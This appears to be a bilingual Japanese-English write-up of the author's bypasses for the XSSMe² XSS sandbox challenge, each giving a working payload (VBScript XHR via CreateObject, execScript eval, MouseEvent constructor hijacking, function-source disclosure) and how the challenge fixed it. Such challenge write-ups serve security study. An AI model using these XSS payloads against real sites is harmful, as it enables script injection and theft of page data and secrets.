My XSSMe² bypasses

これは XSSMe² ( http://xssme.html5sec.org/ ) のこれまでの回答です。
Thses are my bypasses of XSSMe² ( http://xssme.html5sec.org/ )

Using XHR from CreateObject() function of VBScript

VBScriptCreateObject()組み込み関数として持っていて、これは ActieXコンポーネント (Msxml2.XMLHTTP など)を操作するのに使用可能で、かつ、これは JavaScriptのコードから無効化することが出来ません。

VBScript has CreateObject() as insintric function. It can be used to use ActiveX component (for example, Msxml2.XMLHTTP), and it is impossible to disable CreateObject from JavaScript Code.

これは、全要素のlanguage属性を上書きすることで修正されました。
This is fixed by overwriting language attribute of all elements.

<img src=. language=VBScript onerror='Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(Mid(x.responseText,759,20))'>

VBScript Proxy Functions

language属性を上書きしても、いくつかの関数は、文字列をVBScriptソースコードとして評価する機能があるため、これを使ってVBScriptを実行することが可能でした

Even if all language attribute is overwritten, Some functions allows to evaluate string as VBSctipr source code.

setTimeout(VBScriptCodeString, interval, "vbscript")
setInterval(VBScriptCodeString, interval, "vbscript")
execScript(VBScriptCodeString, "vbscript")

これらの関数を無効化することでこの問題は修正されました
This is fixed by sealing these functions.

<script>execScript('Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(Split(x.responseText,vblf)(25))',"vbscript")</script>

Event Constructor Hijacking

実は、イベントコンストラクタはJavaScriptから上書きすることが可能だったため、onerror を発火したイベントのコンストラクタで MouseEvent を上書きすることでマウス操作では無いイベントをマウス操作イベントと誤認させることが可能でした。この問題は MouseEvent もシールすることで修正されました

Unfortunately, Event constructor can be overwritten by JavaScript code.
This is fixed by sealing MouseEvent.

<img
src=. onerror="MouseEvent=event.constructor;event.isTrusted=true;(function(){alert(Safe.get())})(event)">

Function Source Disclosure (2012-05-13 added)

evelされた関数の内部から、Cookieをセットした関数への参照を得ることが可能であり、toString()を使ってその関数のソースコードを読み取ることが可能でした。この問題は、ECMAScript 6 の strict mode や、Fnction.prototype.toString を上書きすることで修正可能だと思います。
We can get reference of function that sets cookie from code executed by eval.
I think this can be fixed by using strict mode or overwriting Function.prototype.toString.

<script>(function(){alert(arguments.callee.caller.caller.toString())})();</script>

参考:以下のコードだと arguments が存在しないため正常に動作しません。

FYI: Following code does not work because arguments not exist.

<script>alert(arguments.callee.caller.toString())</script>